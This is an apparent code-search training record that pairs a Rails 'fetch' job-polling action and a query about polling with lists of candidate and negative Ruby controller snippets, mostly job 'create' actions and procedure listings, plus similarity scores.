"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"def create\n @job = Job.new(job_params.merge({\n owner_id: current_user_id,\n owner_name: current_user_name,\n user_id: current_user_db_record.id,\n remote: job_params[:remote]\n }))\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = Job.new\n end",
"def new\n @bulletin = @current_user.jobs.build\n super\n end",
"def job \n @job\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n # after @job.save, initially the job is in a \"pending\" state.\n @job.initialize_job_parameters \n @job.nextstep! # pending - > launch_pending\n logger.debug( 'initiating background cluster launch...' ) \n # job state is now \"launching_instances\"... \n Delayed::Job.enqueue ClusterLaunchJob.new(@job) \n flash[:notice] = 'Job was successfully submitted.' \n\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job } \n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bulletin = current_user.jobs.build(bulletin_params)\n super\n end",
"def save\n # if job is invalid return false\n return false unless valid?\n\n # update next_enqueue_timestamp\n @next_enqueue_timestamp = calculate_next_enqueue_time(Time.now.utc).to_i\n\n Sidekiq.redis do |conn|\n # add to set of all jobs\n conn.sadd(self.class.jobs_key, redis_key)\n\n # add informations for this job!\n conn.hmset(redis_key, *hash_to_redis(to_hash))\n end\n\n logger.info { \"CRON JOB: add job with name: #{@name}\" }\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @job = Job.new(job_params)\n\n if @job.save \n render 'jobs/create'\n end \n end",
"def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_to_queue\n if !queue_id.blank? && cancelling?\n # cancelling items already have a valid job payload on the queue - do not add again\n return\n end\n\n payload = AnalysisJobsItem.create_action_payload(analysis_job, audio_recording)\n\n result = nil\n error = nil\n\n begin\n result = BawWorkers::Jobs::Analysis::Job.action_enqueue(payload)\n\n # the assumption here is that result is a unique identifier that we can later use to interrogate the message queue\n self.queue_id = result\n rescue StandardError => e\n # NOTE: exception used to be swallowed. We might need better error handling here later on.\n Rails.logger.error \"An error occurred when enqueuing an analysis job item: #{e}\"\n raise\n end\n\n @enqueue_results = { result: result, error: error }\n end",
"def jobs\n\t\t# ...\n\tend",
"def create\n @queuing = Queuing.new(params[:queuing])\n\n respond_to do |format|\n if @queuing.save\n format.html { redirect_to @queuing, notice: 'queuing was successfully created.' }\n format.json { render json: @queuing, status: :created, location: @queuing }\n else\n format.html { render action: \"new\" }\n format.json { render json: @queuing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job.user_id = current_user.id\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n flash[:notice] = 'Job Created' if @job_category.jobs.create params[:job]\n respond_with @job.job_category, @job\n end",
"def create\n @fabrication_order = FabricationOrder.new\n\n # find the related job\n job = Job.find(params[:job_id])\n if (job)\n @fabrication_order.job = job\n @fabrication_order.title = job.address\n @fabrication_order.description = \"Fabrication order for Job on #{job.address}\"\n @fabrication_order.status = @statuses.first.name\n end\n respond_to do |format|\n if @fabrication_order.save\n format.html { redirect_to edit_fabrication_order_path(@fabrication_order), notice: 'Fabrication order was successfully created.' }\n format.json { render :show, status: :created, location: @fabrication_order }\n else\n format.html { render :new }\n format.json { render json: @fabrication_order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user=current_user\n @job=Job.find(session[:job_id])\n @jobapplication = @user.jobapplications.build(job:@job)\n @jobapplication.name=jobapplication_params[:name]\n @jobapplication.phone=jobapplication_params[:phone]\n @jobapplication.major=jobapplication_params[:major]\n @jobapplication.coverletter=jobapplication_params[:coverletter]\n @jobapplication.status=\"Pending\"\n @jobapplication.job_name=@job.name\n @jobapplication.email=current_user.email\n @jobapplication.job_id=@job.id\n JobNotifier.received(@jobapplication).deliver\n respond_to do |format|\n if @jobapplication.save(jobapplication_params)\n format.html { redirect_to @jobapplication, notice: 'Jobapplication was successfully created.' }\n format.json { render :show, status: :created, location: @jobapplication }\n else\n format.html { render :new }\n format.json { render json: @jobapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n @locations = Location.find(:all, :conditions=>['user_id=?',current_user.id])\n\n @job.user_id = current_user.id\n @job.status = 0 #job is initially inactive untill payment is processed\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n #format.html { redirect_to(user_jobs_list_by_status_url(current_user.id,\"open\")) }\n format.html {redirect_to invest_funds_job_path(@job)}\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @training_queue = Training::Queue.new(params[:training_queue])\n\n respond_to do |format|\n if @training_queue.save\n format.html { redirect_to @training_queue, notice: 'Queue was successfully created.' }\n format.json { render json: @training_queue, status: :created, location: @training_queue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training_queue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.poster_id = current_user.id\n respond_to do |format|\n if @job.save\n\tformat.html { \n\t if session[:batch_job] == true\n\t redirect_to batch_job_path\n\t else\n\t redirect_to job_build_path(job_id: @job.id, id: :job_scope)\n\t end }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enqueue_in(delay, job_class, *args)\n with_error_handling(\"Unable to enqueue #{job_class} job\", args: args) do\n Ladon.q.enqueue_in(delay, job_class, *args)\n end\n end",
"def create\n\n @customer_job = CustomerJob.new( customer_job_params )\n\n respond_to do |format|\n if @customer_job.save\n format.html { redirect_to customer_jobs_url, notice: 'Customer job was successfully created.' }\n format.json { render :show, status: :created, location: @customer_job }\n else\n format.html { render :new }\n format.json { render json: @customer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n authorize @job\n\n respond_to do |format|\n if @job.save\n flash[:success] = t('flashes.create', model: Job.model_name.human)\n format.html { redirect_to @job}\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully created. Now select the appropriate permissions.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.70713866",
"0.70490044",
"0.70153135",
"0.70076525",
"0.6959974",
"0.69463587",
"0.69284946",
"0.6899085",
"0.68229795",
"0.6789745",
"0.6780809",
"0.6766544",
"0.67414296",
"0.6725607",
"0.66737664",
"0.6652128",
"0.66479874",
"0.6635255",
"0.66175157",
"0.66040653",
"0.660399",
"0.659689",
"0.65964293",
"0.65717745",
"0.6563021",
"0.65561897",
"0.6552513",
"0.65356094",
"0.65307516",
"0.65252215",
"0.6522165",
"0.6513094",
"0.6493318",
"0.64651364",
"0.64508677",
"0.6434508",
"0.6431468",
"0.64310676",
"0.6413732",
"0.64100236",
"0.6405894",
"0.63935965",
"0.63881546",
"0.6378743",
"0.6367409",
"0.6362754",
"0.63571817",
"0.6355863",
"0.6355863",
"0.6346902",
"0.63416356",
"0.63139474",
"0.63073957",
"0.6304832",
"0.6304345",
"0.6291039",
"0.6291001",
"0.6290936",
"0.6281338",
"0.62790936",
"0.6271384",
"0.62687653",
"0.62482095",
"0.62374395",
"0.6222117",
"0.62092537",
"0.62052226",
"0.6198831",
"0.61934286",
"0.6192907",
"0.6188011",
"0.61877584",
"0.61768574",
"0.6176664",
"0.6167653",
"0.6167282",
"0.6167282",
"0.6167282",
"0.6162069",
"0.6158281",
"0.61572266",
"0.6157004",
"0.61527866",
"0.6147932",
"0.6145483",
"0.61407036",
"0.6136338",
"0.61341846",
"0.61194485",
"0.611087",
"0.6098875",
"0.60933435",
"0.60919696",
"0.6091409",
"0.6089274",
"0.60794854",
"0.6076639",
"0.6057177",
"0.6046999",
"0.6038311"
] |
0.70989615
|
0
|
gets called from the form in the polling
|
def fetch
counter = params[:counter]
if Job.isDone?(counter)
render :status => 200, :text => Job.getResult(counter)
else
render :status => 202, :text => ''
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fbo_updated_form\n end",
"def event; end",
"def event; end",
"def event; end",
"def refresh!; end",
"def updated()\n # ICLA file form\n # TODO: why not used?\n _valid = %w(pubname email).all? do |name|\n document.querySelector(\"input[name=#{name}]\").validity.valid\n end\n\n # wire up form\n jQuery('form')[0].addEventListener('submit', self.file)\n jQuery('input[name=message]').val(window.parent.location.pathname)\n jQuery('input[name=selected]').val(decodeURIComponent(@@selected))\n\n # Safari autocomplete workaround: trigger change on leaving field\n # https://github.com/facebook/react/issues/2125\n if navigator.userAgent.include? \"Safari\"\n Array(document.getElementsByTagName('input')).each do |input|\n input.addEventListener('blur', self.onblur)\n end\n end\n end",
"def refresh; end",
"def do_poll\n\t\tstatus_lamp\n\t\tstatus_input\n\t\tprojector_information\n\t\tstatus_error\n\tend",
"def notifier; end",
"def notifier; end",
"def refresh\r\n end",
"def poll(_) end",
"def submit; end",
"def after_update; end",
"def after_update; end",
"def enter_pending; end",
"def form; end",
"def on_update; end",
"def refresh\n end",
"def refresh\n end",
"def refresh\n end",
"def fires_in; end",
"def on_data_changed; end",
"def ing_form; end",
"def submits; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def observe_submission\n yield\n end",
"def update\n handle_orcamento_update\n end",
"def update() end",
"def form_submitted(evt)\n unless evt[:form_action] == 'cancel'\n attributes, special = get_form_attributes(evt)\n set_record evt[:id], evt[:pid]\n was_new = record.new_record?\n record.update_attributes(attributes)\n reaction = after_form_update(:record => record, :was_new => was_new,\n :form_action => evt[:form_action], :special => special)\n trigger :flash, :notice => reaction[:notice]\n trigger :display_form, reaction[:display_form] if reaction[:display_form]\n trigger :reload_grid\n render :text => reaction[:text]\n else\n trigger :flash_deveal\n render :text => form_deveal('#FF8888') #cancel\n end\n end",
"def status_update(_event)\n @submitted = false\n @filed = false\n end",
"def on_display\n update!\n end",
"def perform\n \n end",
"def update\n \t\n end",
"def update\n \t\n end",
"def listener; end",
"def submit\n end",
"def refresh\n do_refresh\n self\n end",
"def enqueue_pending_output; end",
"def after_update\n end",
"def after_update\n end",
"def update\n # Not generally used\n end",
"def update\n # Not generally used\n end",
"def on_busy(reason)\n end",
"def notify\n end",
"def update\n \n end",
"def callbacks; end",
"def callbacks; end",
"def updated_data\n\tend",
"def callback\n end",
"def run\n repaint\n @form.pack # needs window\n @form.repaint\n @form.select_first_field ## otherwise on_enter of first won't fire\n @window.wrefresh\n return handle_keys\n end",
"def run\n @form.repaint\n @window.wrefresh\n return handle_keys\n end",
"def open\n refresh\n super\n end",
"def waiting; end",
"def waiting; end",
"def callback\n\tend",
"def update\n #\n # NO-OP\n #\n end",
"def refresh\n # FIXME\n end",
"def update\n #Nothing necessary\n end",
"def update ; end",
"def update\n @saving_allowed = false\n update_state\n update_dialog\n end",
"def refresh\n do_refresh\n end",
"def refresh\n do_refresh\n end",
"def after_refresh(_options = {}); end",
"def update()\n end",
"def update\r\n handle_venda_update\r\n end",
"def call\n return broadcast(:invalid) if form.invalid?\n\n update_admin\n broadcast(:ok)\n end",
"def subscribed; end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def callback\n\n end",
"def recup_handle\n\t\t\n\tend",
"def on_data_ok; on_data_cancel; end",
"def call\n transaction do\n @failures = {}\n update_contents_and_resort_opinions(form)\n end\n\n if @failures.any?\n broadcast(:invalid, @failures)\n else\n broadcast(:ok)\n end\n end",
"def handler; end",
"def handler; end",
"def updated_data; end",
"def update\r\n\r\n end",
"def poll_req\n super # placeholder so that I can add some doc\n end",
"def refresh\n store\n\n render\n\n self\n end",
"def prov_field_changed\n assert_privileges(\"miq_request_edit\")\n\n if params[:tab_id]\n @edit = session[:edit]\n else\n return unless load_edit(\"prov_edit__#{params[:id]}\", \"show_list\")\n end\n\n if @edit.nil? || @edit.try(:[], :stamp_typ) # load tab for show screen\n if params[:tab_id]\n @options[:current_tab_key] = params[:tab_id].split('_')[0].to_sym\n @options[:wf].refresh_field_values(@options)\n end\n prov_load_tab\n else\n if params[:tab_id]\n @edit[:new][:current_tab_key] = params[:tab_id].split('_')[0].to_sym\n @edit[:wf].refresh_field_values(@edit[:new])\n end\n refresh_divs = prov_get_form_vars # Get changed option, returns true if divs need refreshing\n build_grid if refresh_divs\n changed = (@edit[:new] != @edit[:current])\n @record =\n if @edit[:new][:src_configured_system_ids].present?\n PhysicalServer.where(:id => @edit[:new][:src_configured_system_ids].first).first\n else\n MiqTemplate.where(:id => Array(@edit[:new][:src_vm_id]).first)\n end\n\n all_dialogs = @edit[:wf].get_all_dialogs rescue []\n\n render :update do |page|\n page << javascript_prologue\n # Going thru all dialogs to see if model has set any of the dialog display to hide/ignore\n all_dialogs.each do |dialog_name, dialog|\n page << \"miq_tabs_show_hide('#{dialog_name}_tab', #{dialog[:display] == :show});\"\n end\n if refresh_divs\n all_dialogs.each do |dialog_name, dialog|\n if dialog[:display] == :show && dialog_name == @edit[:new][:current_tab_key]\n page.replace_html(dialog_name, :partial => dialog_partial_for_workflow, :locals => {:wf => @edit[:wf], :dialog => dialog_name})\n end\n end\n end\n if @edit.fetch_path(:new, :schedule_type, 0) == \"schedule\"\n page << \"ManageIQ.calendar.calDateFrom = new Date(#{@timezone_offset});\"\n page << \"miqBuildCalendar();\"\n end\n if @edit.fetch_path(:new, :owner_email).blank?\n page << javascript_hide(\"lookup_button_on\")\n page << javascript_show(\"lookup_button_off\")\n else\n page << javascript_hide(\"lookup_button_off\")\n page << javascript_show(\"lookup_button_on\")\n end\n if changed != session[:changed]\n session[:changed] = changed\n page << javascript_for_miq_button_visibility(changed)\n end\n page.replace(\"flash_msg_div\", :partial => \"layouts/flash_msg\")\n page << \"miqScrollTop();\" if @flash_array.present?\n page << \"miqSparkle(false);\"\n end\n end\n end",
"def refresh; schedule_update end",
"def submit!\n\tend",
"def synchronise_with_controller\n notify_observers :reading_input, self, view\n end",
"def form\n end",
"def refreshUI; @apPanel.redrawwin; @entryPanel.redrawwin; @entryListBox.refresh; @apListBox.refresh end"
] |
[
"0.667066",
"0.6419415",
"0.6419415",
"0.6419415",
"0.6202607",
"0.6192236",
"0.6189758",
"0.6168873",
"0.610192",
"0.610192",
"0.6077125",
"0.59955543",
"0.597969",
"0.5974196",
"0.5974196",
"0.59524745",
"0.5950488",
"0.5918588",
"0.59022856",
"0.59022856",
"0.587252",
"0.5859173",
"0.58528686",
"0.5816776",
"0.58109087",
"0.5785316",
"0.5785316",
"0.5785316",
"0.5785316",
"0.5785316",
"0.5785316",
"0.5785316",
"0.5785316",
"0.5774575",
"0.5719097",
"0.5715229",
"0.57069373",
"0.5690865",
"0.5682536",
"0.5667531",
"0.5651234",
"0.5651234",
"0.56507915",
"0.56501925",
"0.56393987",
"0.5633957",
"0.56335986",
"0.56335986",
"0.5633533",
"0.5633533",
"0.56137896",
"0.5601843",
"0.5598154",
"0.559804",
"0.559804",
"0.55959266",
"0.5586797",
"0.55864197",
"0.55819833",
"0.5577943",
"0.55710983",
"0.55710983",
"0.5570677",
"0.5566584",
"0.5558583",
"0.5558218",
"0.5553494",
"0.55532795",
"0.5548073",
"0.5548073",
"0.5545651",
"0.5535226",
"0.55331635",
"0.55294734",
"0.5525542",
"0.5513971",
"0.5513971",
"0.5513971",
"0.5513971",
"0.5510527",
"0.5510527",
"0.5510527",
"0.5510527",
"0.5510527",
"0.5510527",
"0.55051196",
"0.5504735",
"0.5500482",
"0.54851633",
"0.54814744",
"0.54814744",
"0.5480862",
"0.5479125",
"0.5478771",
"0.5478319",
"0.54740226",
"0.5471823",
"0.54715127",
"0.54696894",
"0.5465974",
"0.5453314"
] |
0.0
|
-1
|
GET /procedures GET /procedures.json
|
def index
if current_user.prosecutor.present?
@pagy, @procedures = pagy(Procedure.where(:state => 0, :local_prosecution_in_charge_id => current_user.prosecutor.local_prosecution.id).or(Procedure.where(:state => 2, :creator_id => current_user.id, :local_prosecution_in_charge_id => current_user.prosecutor.local_prosecution.id)).order(created_at: :desc))
elsif current_user.police_unit.present?
@pagy, @procedures = pagy(Procedure.where(:state => 2, :creator_id => current_user.id, :police_unit_in_charge_id => current_user.police_unit.id).or(Procedure.where(:state => 3, :police_unit_in_charge_id => current_user.police_unit.id)).order(created_at: :desc))
puts(@procedures)
elsif current_user.admin?
@procedures = []
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n render json: Procedure.all, status: :ok\n end",
"def stored_procedure(name)\n get \"#{base_url}/storedprocedures/#{name}\"\n end",
"def show\n @procedures = @property.procedures\n end",
"def index\n @procedures = Procedure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @procedures }\n end\n end",
"def get_procedures\n connect_db.fetch(\"SELECT RDB$PROCEDURE_NAME, RDB$PROCEDURE_SOURCE FROM RDB$PROCEDURES\")\n end",
"def procedure_params\n params[:procedure]\n end",
"def show\n @procedure = Procedure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @procedure }\n format.json { render :json => @procedure }\n \n end\n end",
"def index\n @procedure_types = ProcedureType.all\n end",
"def index\n @car = Car.find(params[:car_id])\n @lien_procedures = @car.lien_procedures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lien_procedures }\n end\n end",
"def create\n @procedure = Procedure.new(procedure_params)\n\n respond_to do |format|\n if @procedure.save\n format.json { render json: @procedure, status: :created }\n else\n format.json { render json: @procedure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @proceduretypes = Proceduretype.all\n end",
"def show\n\t\t@form = @client.forms.find(params[:id])\n @procedures = @form.procedures.order('step_num ASC')\n\n \trespond_to do |format|\n \t\tformat.html # show.html.erb\n \t\tformat.json { render json: @form }\n \t \tend\n \tend",
"def index\n @visit_procedures = VisitProcedure.all\n end",
"def index\n @patient_procedures = PatientProcedure.all\n end",
"def show\n @car = Car.find(params[:car_id])\n @lien_procedure = @car.lien_procedures.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lien_procedure }\n end\n end",
"def index\n @mission_procedures = MissionProcedure.all\n end",
"def select_procedure\n @project = Project.find(params[:id])\n @test = Testx.find(params[:test_id])\n respond_to do |format|\n format.html # select_procedure.html.erb\n format.json { render json: @project }\n end\n end",
"def json_rpc_procedure(opts={})\n @service.add_procedure opts\n end",
"def get_invoke\n repo, lang, versions, path, procedure_id =\n params.values_at(:repo, :lang, :versions, :path, :procedure_id)\n\n if p = ProcedureModel.first(id: procedure_id)\n if p.public? || user? == p.user\n shell_stream escape_path( \"=== Invoking \\\"%s\\\" Procedure ===\\n\" % p.name )\n \n commands = p.commands.split(/\\r?\\n/).reject { |c| c.strip.size == 0 }\n\n opted_versions(lang, versions).each do |version|\n commands.each do |cmd|\n rt_spawn *[lang, version, p.user, repo, path, cmd].shellify\n end\n end\n else\n rpc_stream :error, '=== Please Login ==='\n end\n end\n end",
"def index\n @pluto_process_definitions = collection.all\n\n respond_to do |format|\n format.json { render json: @pluto_process_definitions }\n end\n end",
"def index\n @ped_programs = PedProgram.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_programs }\n end\n end",
"def index\n @ped_program_definitions = PedProgramDefinition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ped_program_definitions }\n end\n end",
"def index\n @routines = Routine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @routines }\n end\n end",
"def procedure_params\n params.require(:procedure).permit(:description, :name, :procedure_ID)\n end",
"def execute_procedure(proc_name, *variables, &block)\n vars = if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n log(sql, 'Execute Procedure') do\n result = @connection.execute(sql)\n\n return [] unless result\n\n if result.is_a?(Array)\n result.map! do |res|\n process_execute_procedure_result(res, &block)\n end\n else\n result = process_execute_procedure_result(result, &block)\n end\n\n result\n end\n end",
"def index\n @procedure_types = ProcedureType.all.paginate(:page => params[:page], :per_page => 10)\n if params[:search]\n @procedure_types = ProcedureType.search(params[:search]).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 10)\n else\n @procedure_types = ProcedureType.order('created_at DESC').paginate(:page => params[:page], :per_page => 10)\n end\n end",
"def index\n if @user.admin?\n @routines = Routine.paginate(page: params[:page], per_page: 20)\n else\n @routines = Routine.none_secret_or_own_routines(@user.id).paginate(page: params[:page], per_page: 20)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @routines }\n end\n end",
"def destroy\n @procedure.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end",
"def create\n @procedure = Procedure.new(params[:procedure])\n\n respond_to do |format|\n if @procedure.save\n format.html { redirect_to(\"/procedures\", :notice => 'Procedure was successfully created.') }\n format.xml { render :xml => @procedure, :status => :created, :location => @procedure }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @procedure.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ps(app_name)\n deprecate # 07/31/2012\n json_decode get(\"/apps/#{app_name}/ps\", :accept => 'application/json').to_s\n end",
"def index\n @proposals = Proposal.all\n\n render json: @proposals\n end",
"def update\n respond_to do |format|\n if @procedure.update(procedure_params)\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def get\n execute(:get)\n end",
"def get\n execute(:get)\n end",
"def index\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n @scan_procedures = ScanProcedure.where(\"scan_procedures.id in (?)\", scan_procedure_array).order(:codename).all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scan_procedures }\n end\n end",
"def procedures_presenter\n @procedures_presenter ||= V1::ProceduresPresenter.new(@procedures, @template)\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def procedure_parms(token, word)\r\n if word.end_with?('{{')\r\n token.add(get_procedure_literal, [:procedure])\r\n end\r\n end",
"def index\n @operations = Operation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @operations }\n end\n end",
"def index\n @verbs = Verb.all\n\n render json: @verbs\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def set_procedure\n @procedure = Procedure.find(params[:id])\n end",
"def index\n @business_processes = BusinessProcess.all\n\n render json: @business_processes\n end",
"def execute_procedure(proc_name, *variables)\n vars = if variables.any? && variables.first.is_a?(Hash)\n variables.first.map { |k, v| \"@#{k} = #{quote(v)}\" }\n else\n variables.map { |v| quote(v) }\n end.join(', ')\n sql = \"EXEC #{proc_name} #{vars}\".strip\n name = 'Execute Procedure'\n log(sql, name) do\n case @connection_options[:mode]\n when :dblib\n result = @connection.execute(sql)\n result.each(as: :hash, cache_rows: true) do |row|\n r = row.with_indifferent_access\n yield(r) if block_given?\n end\n result.each.map { |row| row.is_a?(Hash) ? row.with_indifferent_access : row }\n when :odbc\n results = []\n raw_connection_run(sql) do |handle|\n get_rows = lambda do\n rows = handle_to_names_and_values handle, fetch: :all\n rows.each_with_index { |r, i| rows[i] = r.with_indifferent_access }\n results << rows\n end\n get_rows.call\n get_rows.call while handle_more_results?(handle)\n end\n results.many? ? results : results.first\n end\n end\n end",
"def index\n @programas = Programa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end",
"def index\n @parishes = Parish.all\n\n render json: @parishes\n end",
"def procedure_names_by_status( status )\n procedures = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'SELECT qProc, qStatus, COUNT( qStatus ) As qCount FROM qryResults WHERE qStatus = ? GROUP BY qProc, qStatus ORDER BY qProc, qStatus')\n stm.bind_params( status.to_s )\n rs = stm.execute\n\n rs.each do |row|\n result = { 'name' => row['qProc'], 'status' => row['qStatus'], 'count' => row['qCount'] }\n procedures.push result\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Procedure Names by Status Code error (#{e.message}).\")\n end\n end\n\n return procedures\n end",
"def index\n @provisions = Provision.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provisions }\n end\n end",
"def show\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voprosy }\n end\n end",
"def new\n @procedure = Procedure.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @procedure }\n end\n end",
"def list_spray_programs\n\treturn if authorise_for_web(program_name?,'read_spray_program') == false \n\n \tif params[:page]!= nil \n\n \t\tsession[:spray_programs_page] = params['page']\n\n\t\t render_list_spray_programs\n\n\t\t return \n\telse\n\t\tsession[:spray_programs_page] = nil\n\tend\n\n\tlist_query = \"@spray_program_pages = Paginator.new self, SprayProgram.count, @@page_size,@current_page\n\t @spray_programs = SprayProgram.find(:all,\n\t\t\t\t :limit => @spray_program_pages.items_per_page,\n\t\t\t\t :offset => @spray_program_pages.current.offset)\"\n\tsession[:query] = list_query\n\trender_list_spray_programs\nend",
"def index\n @con_procs = ConProc.all\n end",
"def show\n @ped_program = PedProgram.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ped_program }\n end\n end",
